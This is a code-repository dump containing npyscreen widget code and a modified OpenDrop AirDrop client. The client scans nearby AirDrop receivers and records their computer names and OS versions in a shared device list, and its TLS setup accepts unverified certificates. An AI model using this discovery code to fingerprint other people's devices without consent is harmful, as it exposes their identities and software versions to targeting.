\ 173 | + self.value[self.cursor_position:] 174 | self.cursor_position += len(ch_adding) 175 | 176 | def display_value(self, vl): 177 | return vl 178 | 179 | 180 | def calculate_area_needed(self): 181 | "Need one line of screen, and any width going" 182 | return 1,0 183 | 184 | 185 | 186 | class TitleTextTokens(wgtitlefield.TitleText): 187 | _entry_type = TextTokens 188 | 189 | -------------------------------------------------------------------------------- /npyscreen/wgtitlefield.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import curses 3 | import weakref 4 | from . import wgtextbox as textbox 5 | from . import wgwidget as widget 6 | 7 | class TitleText(widget.Widget): 8 | _entry_type = textbox.Textfield 9 | 10 | def __init__(self, screen, 11 | begin_entry_at = 16, 12 | field_width = None, 13 | value = None, 14 | use_two_lines = None, 15 | hidden=False, 16 | labelColor='LABEL', 17 | allow_override_begin_entry_at=True, 18 | **keywords): 19 | 20 | self.text_field_begin_at = begin_entry_at 21 | self.field_width_request = field_width 22 | self.labelColor = labelColor 23 | self.allow_override_begin_entry_at = allow_override_begin_entry_at 24 | super(TitleText, self).__init__(screen, **keywords) 25 | 26 | if self.name is None: self.name = 'NoName' 27 | 28 | if use_two_lines is None: 29 | if len(self.name)+2 >= begin_entry_at: 30 | self.use_two_lines = True 31 | else: 32 | self.use_two_lines = False 33 | else: 34 | self.use_two_lines = use_two_lines 35 | 36 | self._passon = keywords.copy() 37 | for dangerous in ('relx', 'rely','value',):# 'width','max_width'): 38 | try: 39 | self._passon.pop(dangerous) 40 | except: 41 | pass 42 | 43 | if self.field_width_request: 44 | self._passon['width'] = self.field_width_request 45 | else: 46 | if 'max_width' in self._passon.keys(): 47 | if self._passon['max_width'] > 0: 48 | if self._passon['max_width'] < self.text_field_begin_at: 49 | raise ValueError("The maximum width specified is less than the text_field_begin_at value.") 50 | else: 51 | self._passon['max_width'] -= self.text_field_begin_at+1 52 | 53 | if 'width' in self._passon: 54 | #if 0 < self._passon['width'] < self.text_field_begin_at: 55 | # raise ValueError("The maximum width specified %s is less than the text_field_begin_at value %s." % (self._passon['width'], self.text_field_begin_at)) 56 | if self._passon['width'] > 0: 57 | self._passon['width'] -= self.text_field_begin_at+1 58 | 59 | if self.use_two_lines: 60 | if 'max_height' in self._passon and self._passon['max_height']: 61 | if self._passon['max_height'] == 1: 62 | raise ValueError("I don't know how to resolve this: max_height == 1 but widget using 2 lines.") 63 | self._passon['max_height'] -= 1 64 | if 'height' in self._passon and self._passon['height']: 65 | raise ValueError("I don't know how to resolve this: height == 1 but widget using 2 lines.") 66 | self._passon['height'] -= 1 67 | 68 | 69 | self.make_contained_widgets() 70 | self.set_value(value) 71 | self.hidden = hidden 72 | 73 | 74 | 75 | def resize(self): 76 | super(TitleText, self).resize() 77 | self.label_widget.relx = self.relx 78 | self.label_widget.rely = self.rely 79 | self.entry_widget.relx = self.relx + self.text_field_begin_at 80 | self.entry_widget.rely = self.rely + self._contained_rely_offset 81 | self.label_widget._resize() 82 | self.entry_widget._resize() 83 | self.recalculate_size() 84 | 85 | def make_contained_widgets(self): 86 | self.label_widget = textbox.Textfield(self.parent, relx=self.relx, rely=self.rely, width=len(self.name)+1, value=self.name, color=self.labelColor) 87 | if self.label_widget.on_last_line and self.use_two_lines: 88 | # we're in trouble here. 89 | if len(self.name) > 12: 90 | ab_label = 12 91 | else: 92 | ab_label = len(self.name) 93 | self.use_two_lines = False 94 | self.label_widget = textbox.Textfield(self.parent, relx=self.relx, rely=self.rely, width=ab_label+1, value=self.name) 95 | if self.allow_override_begin_entry_at: 96 | self.text_field_begin_at = ab_label + 1 97 | if self.use_two_lines: 98 | self._contained_rely_offset = 1 99 | else: 100 | self._contained_rely_offset = 0 101 | 102 | self.entry_widget = self.__class__._entry_type(self.parent, 103 | relx=(self.relx + self.text_field_begin_at), 104 | rely=(self.rely+self._contained_rely_offset), value = self.value, 105 | **self._passon) 106 | self.entry_widget.parent_widget = weakref.proxy(self) 107 | self.recalculate_size() 108 | 109 | 110 | def recalculate_size(self): 111 | self.height = self.entry_widget.height 112 | if self.use_two_lines: self.height += 1 113 | else: pass 114 | self.width = self.entry_widget.width + self.text_field_begin_at 115 | 116 | def edit(self): 117 | self.editing=True 118 | self.display() 119 | self.entry_widget.edit() 120 | #self.value = self.textarea.value 121 | self.how_exited = self.entry_widget.how_exited 122 | self.editing=False 123 | self.display() 124 | 125 | def update(self, clear = True): 126 | if clear: self.clear() 127 | if self.hidden: return False 128 | if self.editing: 129 | self.label_widget.show_bold = True 130 | self.label_widget.color = 'LABELBOLD' 131 | else: 132 | self.label_widget.show_bold = False 133 | self.label_widget.color = self.labelColor 134 | self.label_widget.update() 135 | self.entry_widget.update() 136 | 137 | def handle_mouse_event(self, mouse_event): 138 | if self.entry_widget.intersted_in_mouse_event(mouse_event): 139 | self.entry_widget.handle_mouse_event(mouse_event) 140 | 141 | def get_value(self): 142 | if hasattr(self, 'entry_widget'): 143 | return self.entry_widget.value 144 | elif hasattr(self, '__tmp_value'): 145 | return self.__tmp_value 146 | else: 147 | return None 148 | def set_value(self, value): 149 | if hasattr(self, 'entry_widget'): 150 | self.entry_widget.value = value 151 | else: 152 | # probably trying to set the value before the textarea is initialised 153 | self.__tmp_value = value 154 | def del_value(self): 155 | del self.entry_widget.value 156 | value = property(get_value, set_value, del_value) 157 | 158 | @property 159 | def editable(self): 160 | try: 161 | return self.entry_widget.editable 162 | except AttributeError: 163 | return self._editable 164 | 165 | @editable.setter 166 | def editable(self, value): 167 | self._editable = value 168 | try: 169 | self.entry_widget.editable = value 170 | except AttributeError: 171 | self._editable = value 172 | 173 | def add_handlers(self, handler_dictionary): 174 | """ 175 | Pass handlers to entry_widget 176 | """ 177 | self.entry_widget.add_handlers(handler_dictionary) 178 | 179 | class TitleFixedText(TitleText): 180 | _entry_type = textbox.FixedText 181 | -------------------------------------------------------------------------------- /npyscreen/wgwidget_proto.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | class _LinePrinter(object): 4 | """A base class for printing lines to the screen. 5 | Do not use directly. For internal use only. 6 | Experimental. 7 | """ 8 | def find_width_of_char(self, ch): 9 | # will eventually need changing. 10 | return 1 11 | 12 | def _print_unicode_char(self, ch, force_ascii=None): 13 | if hasattr(self, '_force_ascii') and force_ascii is None: 14 | force_ascii = self._force_ascii 15 | # return the ch to print. For python 3 this is just ch 16 | if force_ascii: 17 | return ch.encode('ascii', 'replace') 18 | elif sys.version_info[0] >= 3: 19 | return ch 20 | else: 21 | return ch.encode('utf-8', 'replace') 22 | 23 | def add_line(self, realy, realx, 24 | unicode_string, 25 | attributes_list, max_columns, 26 | force_ascii=False): 27 | if isinstance(unicode_string, bytes): 28 | raise ValueError("This class prints unicode strings only.") 29 | 30 | if len(unicode_string) != len(attributes_list): 31 | raise ValueError("Must supply an attribute for every character.") 32 | 33 | column = 0 34 | place_in_string = 0 35 | 36 | if hasattr(self, 'curses_pad'): 37 | # we are a form 38 | print_on = self.curses_pad 39 | else: 40 | # we are a widget 41 | print_on = self.parent.curses_pad 42 | 43 | 44 | while column <= (max_columns-1): 45 | try: 46 | width_of_char_to_print = self.find_width_of_char(unicode_string[place_in_string]) 47 | except IndexError: 48 | break 49 | if column - 1 + width_of_char_to_print > max_columns: 50 | break 51 | try: 52 | print_on.addstr(realy,realx+column, 53 | self._print_unicode_char(unicode_string[place_in_string]), 54 | attributes_list[place_in_string] 55 | ) 56 | except IndexError: 57 | break 58 | column += width_of_char_to_print 59 | place_in_string += 1 60 | 61 | def make_attributes_list(self, unicode_string, attribute): 62 | """A convenience function. Retuns a list the length of the unicode_string 63 | provided, with each entry of the list containing a copy of attribute.""" 64 | if isinstance(unicode_string, bytes): 65 | raise ValueError("This class is intended for unicode strings only.") 66 | 67 | atb_array = [] 68 | ln = len(unicode_string) 69 | for x in range(ln): 70 | atb_array.append(attribute) 71 | return atb_array -------------------------------------------------------------------------------- /opendrop2/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | OpenDrop: an open source AirDrop implementation 3 | Copyright (C) 2018 Milan Stute 4 | Copyright (C) 2018 Alexander Heinrich 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | """ 19 | 20 | import logging 21 | 22 | __version__ = '0.10' 23 | 24 | logger = logging.getLogger(__name__) 25 | -------------------------------------------------------------------------------- /opendrop2/__main__.py: -------------------------------------------------------------------------------- 1 | """ 2 | OpenDrop: an open source AirDrop implementation 3 | Copyright (C) 2018 Milan Stute 4 | Copyright (C) 2018 Alexander Heinrich 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | """ 19 | 20 | from opendrop import cli 21 | 22 | cli.main() 23 | -------------------------------------------------------------------------------- /opendrop2/certs/apple_root_ca.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIEuzCCA6OgAwIBAgIBAjANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQGEwJVUzET 3 | MBEGA1UEChMKQXBwbGUgSW5jLjEmMCQGA1UECxMdQXBwbGUgQ2VydGlmaWNhdGlv 4 | biBBdXRob3JpdHkxFjAUBgNVBAMTDUFwcGxlIFJvb3QgQ0EwHhcNMDYwNDI1MjE0 5 | MDM2WhcNMzUwMjA5MjE0MDM2WjBiMQswCQYDVQQGEwJVUzETMBEGA1UEChMKQXBw 6 | bGUgSW5jLjEmMCQGA1UECxMdQXBwbGUgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkx 7 | FjAUBgNVBAMTDUFwcGxlIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw 8 | ggEKAoIBAQDkkakJH5HbHkdQ6wXtXnmELes2oldMVeyLGYne+Uts9QerIjAC6Bg+ 9 | +FAJ039BqJj50cpmnCRrEdCju+QbKsMflZ56DKRHi1vUFjczy8QPTc4UadHJGXL1 10 | XQ7Vf1+b8iUDulWPTV0N8WQ1IxVLFVkds5T39pyez1C6wVhQZ48ItCD3y6wsIG9w 11 | tj8BMIy3Q88PnT3zK0koGsj+zrW5DtleHNbLPbU6rfQPDgCSC7EhFi501TwN22IW 12 | q6NxkkdTVcGvL0Gz+PvjcM3mo0xFfh9Ma1CWQYnEdGILEINBhzOKgbEwWOxaBDKM 13 | aLOPHd5lc/9nXmW8Sdh2nzMUZaF3lMktAgMBAAGjggF6MIIBdjAOBgNVHQ8BAf8E 14 | BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUK9BpR5R2Cf70a40uQKb3 15 | R01/CF4wHwYDVR0jBBgwFoAUK9BpR5R2Cf70a40uQKb3R01/CF4wggERBgNVHSAE 16 | ggEIMIIBBDCCAQAGCSqGSIb3Y2QFATCB8jAqBggrBgEFBQcCARYeaHR0cHM6Ly93 17 | d3cuYXBwbGUuY29tL2FwcGxlY2EvMIHDBggrBgEFBQcCAjCBthqBs1JlbGlhbmNl 18 | IG9uIHRoaXMgY2VydGlmaWNhdGUgYnkgYW55IHBhcnR5IGFzc3VtZXMgYWNjZXB0 19 | YW5jZSBvZiB0aGUgdGhlbiBhcHBsaWNhYmxlIHN0YW5kYXJkIHRlcm1zIGFuZCBj 20 | b25kaXRpb25zIG9mIHVzZSwgY2VydGlmaWNhdGUgcG9saWN5IGFuZCBjZXJ0aWZp 21 | Y2F0aW9uIHByYWN0aWNlIHN0YXRlbWVudHMuMA0GCSqGSIb3DQEBBQUAA4IBAQBc 22 | NplMLXi37Yyb3PN3m/J20ncwT8EfhYOFG5k9RzfyqZtAjizUsZAS2L70c5vu0mQP 23 | y3lPNNiiPvl4/2vIB+x9OYOLUyDTOMSxv5pPCmv/K/xZpwUJfBdAVhEedNO3iyM7 24 | R6PVbyTi69G3cN8PReEnyvFteO3ntRcXqNx+IjXKJdXZD9Zr1KIkIxH3oayPc4Fg 25 | xhtbCS+SsvhESPBgOJ4V9T0mZyCKM2r3DYLP3uujL/lTaltkwGMzd/c6ByxW69oP 26 | IQ7aunMZT7XZNn/Bh1XZp5m5MkL72NVxnn6hUrcbvZNCJBIqxw8dtk2cXmPIS4AX 27 | UKqK1drk/NAJBzewdXUh 28 | -----END CERTIFICATE----- 29 | -------------------------------------------------------------------------------- /opendrop2/cli.py: -------------------------------------------------------------------------------- 1 | """ 2 | OpenDrop: an open source AirDrop implementation 3 | Copyright (C) 2018 Milan Stute 4 | Copyright (C) 2018 Alexander Heinrich 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | """ 19 | 20 | import time 21 | 22 | import ipaddress 23 | import logging 24 | import argparse 25 | import sys 26 | import json 27 | import os 28 | import threading 29 | 30 | from .client import AirDropBrowser, AirDropClient 31 | from .config import AirDropConfig, AirDropReceiverFlags 32 | from .server import AirDropServer 33 | 34 | logger = logging.getLogger(__name__) 35 | 36 | 37 | devices=[] 38 | 39 | def main(): 40 | AirDropCli(sys.argv[1:]) 41 | 42 | 43 | class AirDropCli: 44 | 45 | def __init__(self, args): 46 | parser = argparse.ArgumentParser() 47 | parser.add_argument('action', choices=['receive', 'find', 'send']) 48 | parser.add_argument('-f', '--file', help='File to be sent') 49 | parser.add_argument('-r', '--receiver', help='Peer to send file to (can be index, ID, or hostname)') 50 | parser.add_argument('-e', '--email', nargs='*', help='User\'s email addresses (currently unused)') 51 | parser.add_argument('-p', '--phone', nargs='*', help='User\'s phone numbers (currently unused)') 52 | parser.add_argument('-l', '--legacy', help='Enable legacy mode', action='store_true') 53 | parser.add_argument('-d', '--debug', help='Enable debug mode', action='store_true') 54 | parser.add_argument('-i', '--interface', help='Which AWDL interface to use', default='awdl0') 55 | args = parser.parse_args(args) 56 | 57 | if args.debug: 58 | logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(levelname)-8s %(name)s: %(message)s') 59 | else: 60 | logging.basicConfig(level=logging.NOTSET, format='%(message)s') 61 | logging.disable(sys.maxsize) 62 | 63 | # TODO put emails and phone in canonical form (lower case, no '+' sign, etc.) 64 | 65 | self.config = AirDropConfig(email=args.email, phone=args.phone, legacy=args.legacy, 66 | debug=args.debug, interface=args.interface) 67 | self.server = None 68 | self.client = None 69 | self.browser = None 70 | self.sending_started = False 71 | self.discover = [] 72 | self.lock = threading.Lock() 73 | 74 | try: 75 | if args.action == 'receive': 76 | self.receive() 77 | elif args.action == 'find': 78 | self.find() 79 | else: # args.action == 'send' 80 | if args.file is None: 81 | parser.error('Need -f,--file when using send') 82 | if not os.path.isfile(args.file): 83 | parser.error('File in -f,--file not found') 84 | self.file = args.file 85 | if args.receiver is None: 86 | parser.error('Need -r,--receiver when using send') 87 | self.receiver = args.receiver 88 | self.send() 89 | except KeyboardInterrupt: 90 | if self.browser is not None: 91 | self.browser.stop() 92 | if self.server is not None: 93 | self.server.stop() 94 | 95 | def find(self): 96 | logger.info('Looking for receivers. Press enter to stop ...') 97 | self.browser = AirDropBrowser(self.config) 98 | self.browser.start(callback_add=self._found_receiver) 99 | # try: 100 | # # input() 101 | # while 1: 102 | # a=1 103 | # except KeyboardInterrupt: 104 | # pass 105 | # finally: 106 | # self.browser.stop() 107 | # logger.debug('Save discovery results to {}'.format(self.config.discovery_report)) 108 | # with open(self.config.discovery_report, 'w') as f: 109 | # json.dump(self.discover, f) 110 | 111 | def _found_receiver(self, info): 112 | thread = threading.Thread(target=self._send_discover, args=(info,)) 113 | thread.start() 114 | 115 | def _send_discover(self, info): 116 | global devices 117 | try: 118 | address = ipaddress.ip_address(info.address).compressed 119 | except ValueError: 120 | return # not a valid address 121 | id = info.name.split('.')[0] 122 | hostname = info.server 123 | port = int(info.port) 124 | logger.debug('AirDrop service found: {}, {}:{}, ID {}'.format(hostname, address, port, id)) 125 | client = AirDropClient(self.config, (address, int(port))) 126 | flags = int(info.properties[b'flags']) 127 | 128 | if flags & AirDropReceiverFlags.SUPPORTS_DISCOVER_MAYBE: 129 | try: 130 | reponse = client.send_discover() 131 | receiver_name =reponse.get('ReceiverComputerName') 132 | ReceiverMediaCapabilities = json.loads(reponse['ReceiverMediaCapabilities']) 133 | os_info = "{} ({})".format('.'.join(map(str, ReceiverMediaCapabilities['Vendor']['com.apple']['OSVersion'])), ReceiverMediaCapabilities['Vendor']['com.apple']['OSBuildVersion']) 134 | except TimeoutError: 135 | pass 136 | else: 137 | receiver_name = None 138 | discoverable = receiver_name is not None 139 | 140 | index = len(self.discover) 141 | node_info = { 142 | 'name': receiver_name, 143 | 'address': address, 144 | 'host': hostname, 145 | 'port': port, 146 | 'id': id, 147 | 'flags': flags, 148 | 'discoverable': discoverable, 149 | 'os': os_info, 150 | } 151 | self.lock.acquire() 152 | self.discover.append(node_info) 153 | if discoverable: 154 | logger.info('Found index {} ID {} name {}'.format(index, id, receiver_name)) 155 | # print (node_info) 156 | devices = self.discover 157 | self.lock.release() 158 | 159 | def receive(self): 160 | self.server = AirDropServer(self.config) 161 | self.server.start_service() 162 | self.server.start_server() 163 | 164 | def send(self): 165 | info = self._get_receiver_info() 166 | if info is None: 167 | return 168 | self.client = AirDropClient(self.config, (info['address'], info['port'])) 169 | logger.info('Asking receiver to accept ...') 170 | if not self.client.send_ask(self.file): 171 | logger.warning('Receiver declined') 172 | return 173 | logger.info('Receiver accepted') 174 | logger.info('Uploading file ...') 175 | if not self.client.send_upload(self.file): 176 | logger.warning('Uploading has failed') 177 | return 178 | logger.info('Uploading has been successful') 179 | 180 | def _get_receiver_info(self): 181 | if not os.path.exists(self.config.discovery_report): 182 | logger.error('No discovery report exists, please run \'opendrop find\' first') 183 | return None 184 | age = time.time() - os.path.getmtime(self.config.discovery_report) 185 | if age > 60: # warn if report is older than a minute 186 | logger.warning('Old discovery report (%.1f seconds), consider running \'opendrop find\' again', age) 187 | with open(self.config.discovery_report, 'r') as f: 188 | infos = json.load(f) 189 | 190 | # (1) try 'index' 191 | try: 192 | self.receiver = int(self.receiver) 193 | return infos[self.receiver] 194 | except ValueError: 195 | pass 196 | except IndexError: 197 | pass 198 | # (2) try 'id' 199 | if len(self.receiver) is 12: 200 | for info in infos: 201 | if info['id'] == self.receiver: 202 | return info 203 | # (3) try hostname 204 | for info in infos: 205 | if info['name'] == self.receiver: 206 | return info 207 | # (fail) 208 | logger.error('Receiver does not exist (check -r,--receiver format or try \'opendrop find\' again') 209 | return None 210 | 211 | def get_devices(): 212 | return devices 213 | -------------------------------------------------------------------------------- /opendrop2/config.py: -------------------------------------------------------------------------------- 1 | """ 2 | OpenDrop: an open source AirDrop implementation 3 | Copyright (C) 2018 Milan Stute 4 | Copyright (C) 2018 Alexander Heinrich 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | """ 19 | 20 | import os 21 | import logging 22 | from pkg_resources import resource_filename 23 | import socket 24 | import ssl 25 | import random 26 | import subprocess 27 | 28 | logger = logging.getLogger(__name__) 29 | 30 | 31 | class AirDropReceiverFlags: 32 | """ 33 | Recovered from sharingd`receiverSupportsX methods. 34 | A valid node needs to either have SUPPORTS_PIPELINING or SUPPORTS_MIXED_TYPES 35 | according to sharingd`[SDBonjourBrowser removeInvalidNodes:]. 36 | """ 37 | SUPPORTS_URL = 0x01 38 | SUPPORTS_DVZIP = 0x02 39 | SUPPORTS_PIPELINING = 0x04 40 | SUPPORTS_MIXED_TYPES = 0x08 41 | SUPPORTS_UNKNOWN1 = 0x10 42 | SUPPORTS_UNKNOWN2 = 0x20 43 | SUPPORTS_IRIS = 0x40 44 | SUPPORTS_DISCOVER_MAYBE = 0x80 # Probably indicates that server supports /Discover URL 45 | 46 | 47 | class AirDropConfig: 48 | 49 | def __init__(self, host_name=None, computer_name=None, computer_model='OpenDrop', server_port=8771, 50 | airdrop_dir='~/.opendrop', service_id=None, 51 | email=None, phone=None, legacy=False, debug=False, interface=None): 52 | self.airdrop_dir = os.path.expanduser(airdrop_dir) 53 | 54 | self.discovery_report = os.path.join(self.airdrop_dir, 'discover.last.json') 55 | # computer_name='000977-08-2fa172e0-cfa7-49a8-b607-b9389ba894b6' 56 | if host_name is None: 57 | host_name = socket.gethostname() 58 | self.host_name = host_name 59 | if computer_name is None: 60 | computer_name = host_name 61 | self.computer_name = computer_name 62 | self.computer_model = computer_model 63 | self.port = server_port 64 | 65 | if service_id is None: 66 | service_id = '{0:0{1}x}'.format(random.randint(0, 0xffffffffffff), 12) # random 6-byte string in base16 67 | self.service_id = service_id 68 | 69 | self.debug = debug 70 | self.debug_dir = os.path.join(self.airdrop_dir, 'debug') 71 | 72 | self.legacy = legacy 73 | 74 | if interface is None: 75 | interface = 'awdl0' if not self.legacy else 'en0' 76 | self.interface = interface 77 | 78 | if email is None: 79 | email = [] 80 | self.email = email 81 | if phone is None: 82 | phone = [] 83 | self.phone = phone 84 | 85 | # Bare minimum, we currently do not support anything else 86 | self.flags = AirDropReceiverFlags.SUPPORTS_MIXED_TYPES | AirDropReceiverFlags.SUPPORTS_DISCOVER_MAYBE 87 | 88 | self.root_ca_file = resource_filename('opendrop2', 'certs/apple_root_ca.pem') 89 | if not os.path.exists(self.root_ca_file): 90 | raise FileNotFoundError('Need Apple root CA certificate: {}'.format(self.root_ca_file)) 91 | 92 | self.key_dir = os.path.join(self.airdrop_dir, 'keys') 93 | self.cert_file = os.path.join(self.key_dir, 'certificate.pem') 94 | self.key_file = os.path.join(self.key_dir, 'key.pem') 95 | 96 | if not os.path.exists(self.cert_file) or not os.path.exists(self.key_file): 97 | logger.info('Key file or certificate does not exist') 98 | self.create_default_key() 99 | 100 | # TODO extract record data from a sample exchange 101 | self.record_data = None 102 | 103 | def create_default_key(self): 104 | logger.info('Create new self-signed certificate in {}'.format(self.key_dir)) 105 | if not os.path.exists(self.key_dir): 106 | os.makedirs(self.key_dir) 107 | subprocess.run(['openssl', 'req', '-newkey', 'rsa:2048', '-nodes', '-keyout', 'key.pem', 108 | '-x509', '-days', '365', '-out', 'certificate.pem', 109 | '-subj', '/CN={}'.format(self.computer_name)], cwd=self.key_dir, 110 | stdout=subprocess.PIPE, stderr=subprocess.PIPE) 111 | 112 | def get_ssl_context(self): 113 | sslctxt = ssl.SSLContext() 114 | sslctxt.load_cert_chain(self.cert_file, keyfile=self.key_file) 115 | sslctxt.load_verify_locations(cafile=self.root_ca_file) 116 | sslctxt.verify_mode = ssl.CERT_NONE # we accept self-signed certificates as does Apple 117 | return sslctxt 118 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | bs4 2 | fleep 3 | Pillow 4 | pybluez 5 | requests 6 | pycrypto 7 | netifaces 8 | prettytable 9 | libarchive-c 10 | ctypescrypto --------------------------------------------------------------------------------